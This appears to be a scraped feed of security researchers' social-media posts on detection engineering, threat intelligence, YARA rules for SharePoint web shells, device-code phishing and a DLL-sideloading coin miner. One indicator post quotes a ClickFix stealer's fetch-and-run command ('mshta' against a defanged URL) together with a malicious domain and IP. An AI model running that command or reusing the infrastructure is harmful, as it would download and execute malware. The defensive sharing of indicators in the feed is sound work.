hcss2013 @hcss2013

@wdormann @Harvesterify @Mandiant Couldn’t resist trying. This is under default UAC settings - not sure why it’s different on your end. IMO, both the Mandiant and Red Canary reports miss a key point by not calling out the UAC bypass that occurs (as shown by printui.exe ending up with high integrity at the end)

Wrote a set of YARA rules to detect the specific web shells dropped during the SharePoint CVE-2025-53770 exploitation. - Cleartext and compiled variants - Forensic artefacts in logs and on disk Hope it helps. Rules will be available in THOR Lite and THOR Cloud Lite shortly.…

keyboard_arrow_left Previous keyboard_arrow_right Next

Florian Roth ⚡️ @cyb3rops

2 months ago

Wrote a set of YARA rules to detect the specific web shells dropped during the SharePoint CVE-2025-53770 exploitation. - Cleartext and compiled variants - Forensic artefacts in logs and on disk Hope it helps. Rules will be available in THOR Lite and THOR Cloud Lite shortly.… https://t.co/XiRTIC7ywW

keyboard_arrow_left Previous keyboard_arrow_right Next

2 50 183 59K 78

Download Image

@IAMERICAbooted @rvrsh3ll Using the word "bypass" unnecessarily got to be in the top 10 list of most annoying cyber sec things. Uses device code as it was intended to be used -> MFA BYPASS! Modifies OS security with Admin rights -> Defender BYPASS! Allows vulnerable program to run -> WDAC BYPASS!

You actually don't need 100% coverage of MITRE ATT&CK What you actually need is to maximize prevention, minimize response time and prioritize coverage of your known attack paths.

Your average non-state APT doesn't use browser exploits for initial access. They don't give a shit about the kernel or the EDR, they don't deploy rootkits. They use phishing/breached creds w/ VPN, pwn your ADCS , then delete your backups and deploy ransomware, all loud as fuck

You either detect a procedure or you don’t. I don’t really care about which ATT&CK technique it maps to 🤷‍♂️ Nine times out of ten, people are just uselessly trying to track coverage at a technique level that doesn’t make sense.

If you're not getting the answers you're looking for, change the questions you're asking... "Is PingCastle detected?" is the wrong question... "Is Active Directory enumeration detected?" is better... "Is high volume enumeration of the Domain Administrators group from a…

NEW LAB: Abu Jibal (APT34 / OilRig) 🔍💻 Iranian APT34 targets the oil and gas sector across the Middle East. Test your blue team skills on: 👀 Password Filter DLL Attacks 👀 RunPE In-Memory Execution 👀 Windows Kernel Elevation 👀 Malicious JavaScript Payloads 👀 Custom…

keyboard_arrow_left Previous keyboard_arrow_right Next

ClickFix -> Stealer🖱️ 🌐Domain: angrybirds[.]world 📡Payload: mshta https://wl[.]gl/directiontitle # cloudflare id №86154190264592101-49329836503 🛜Real IP -> http://45.67.229[.]40/ 🛜ASN: 44477 - STARK-INDUSTRIES 2⃣nd Stage:…

An ongoing coin-mining malware attack spreads via removable drives. It drops printui.dll into a deceptive folder path: C:\Windows[SPACE]\System32 The malware uses DLL sideloading: 🌐 Drops printui.dll 🌐 Sideloaded by the legitimate printui.exe (Microsoft signed) Persistence…

keyboard_arrow_left Previous keyboard_arrow_right Next

Today, I'm releasing the first version of a small web 🚀: rosti.bin.re It provides IOCs and YARA rules collected semi-automatically from public blog posts and reports of almost 200 cybersecurity sites. I hope it proves useful to some of you ... 🙏✨ #ThreatIntel

North Korea stole $1.4billion by injecting JavaScript through an AWS S3 bucket to spoof the UI interface during a transaction? It's almost like the entire infosec industry is focusing on hyperbolic amplified APT threats that are "cool" rather the stark realities confronting us.

> be elite TAO operator > never op on holidays or past 5pm (Fort Meade time) > fuck up commands and expose your hostname They're just like us for real

inversecos @inversecos

7 months ago

> be elite TAO operator > never op on holidays or past 5pm (Fort Meade time) > fuck up commands and expose your hostname They're just like us for real

38 428 2K 391K 1K

Download Image

You can assess impact via Entra sing-in logs (see picture) or Graph PowerShell: Get-MgBetaAuditLogSignIn -Filter "AuthenticationProtocol eq 'deviceCode'" CA template (Use Upload policy file in CA) here: github.com/nathanmcnulty/… Volexity report: volexity.com/blog/2025/02/1…

Guess what, the Russians embarking on a global campaign to exploit device code auth was not in PI Planning or part of any sprint. But you know what? That got dealt with immediately. THAT is Agile. Jira, Scrum, and Kanban boards are stiff and inflexible, especially when you…

The team has been heads down these last few weeks building and we have just achieved an important landmark: Splunk Enterprise Security Content Update 5.0.0 is now available! What’s new? 🎨 Revamped UI & Home Page – Centralized release notes, analytics counts, and timeline…

.@Volexity recently identified multiple Russian threat actors targeting users via #socialengineering + #spearphishing campaigns with Microsoft 365 Device Code authentication (a well-known technique) with alarming success: volexity.com/blog/2025/02/1… #dfir #threatintel #m365security

Cert Central .org is live! We track and report abused code-signing certs. By submitting to the website, you contribute to the DB of >800 certs—a DB you can access and view. Want to get more involved? Check out the Training and Research pages to learn more. 1/2

keyboard_arrow_left Previous keyboard_arrow_right Next

Most organizations don't need threat hunters, they need do the basics better hunters with the power to go and fix what they find. RDP open to the world? No MFA on your VPN? LAPS not deployed? 3500 people in Domain Admins? 99% of organizations would be in a better place focusing…